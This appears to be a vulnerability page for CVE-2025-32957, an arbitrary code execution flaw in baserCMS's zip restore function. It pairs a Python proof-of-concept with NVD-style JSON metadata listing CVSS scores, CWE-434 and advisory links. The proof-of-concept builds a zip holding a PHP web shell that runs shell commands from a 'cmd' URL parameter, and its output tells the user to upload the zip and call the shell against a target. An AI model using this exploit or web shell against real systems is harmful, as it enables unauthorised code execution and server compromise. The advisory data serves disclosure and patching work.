CVE-2025-32957

import zipfile import os # Create a malicious PHP file content (WebShell) php_code = "<?php system($_GET['cmd']); ?>" php_filename = "evil_shell.php" # Create a zip file containing the PHP script zip_filename = "basercms_poc.zip" try: with zipfile.ZipFile(zip_filename, 'w') as zf: # Write the PHP file into the zip archive zf.writestr(php_filename, php_code) print(f"[+] Successfully created malicious zip file: {zip_filename}") print(f"[+] Upload this file to the baserCMS restore function endpoint.") print(f"[+] Once processed, the malicious PHP will be included and executed.") print(f"[+] Example usage: http://target/path/to/extracted/file.php?cmd=ls") except Exception as e: print(f"[-] Error creating zip file: {e}")

{"cve": {"id": "CVE-2025-32957", "sourceIdentifier": "[email protected]", "published": "2026-03-31T01:16:34.530", "lastModified": "2026-04-01T20:31:57.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "baserCMS is a website development framework. Prior to version 5.2.3, the application's restore function allows users to upload a .zip file, which is then automatically extracted. A PHP file inside the archive is included using require_once without validating or restricting the filename. An attacker can craft a malicious PHP file within the zip and achieve arbitrary code execution when it is included. This issue has been patched in version 5.2.3."}, {"lang": "es", "value": "baserCMS es un framework de desarrollo de sitios web. Antes de la versión 5.2.3, la función de restauración de la aplicación permite a los usuarios subir un archivo .zip, que luego se extrae automáticamente. Un archivo PHP dentro del archivo comprimido se incluye usando require_once sin validar ni restringir el nombre del archivo. Un atacante puede crear un archivo PHP malicioso dentro del zip y lograr la ejecución de código arbitrario cuando este se incluye. Este problema ha sido parcheado en la versión 5.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:basercms:basercms:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.2.3", "matchCriteriaId": "07DEEEF3-0621-431D-8A38-405EDBD0957E"}]}]}], "references": [{"url": "https://basercms.net/security/JVN_20837860", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/baserproject/basercms/releases/tag/5.2.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-hv78-cwp4-8r7r", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-hv78-cwp4-8r7r", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}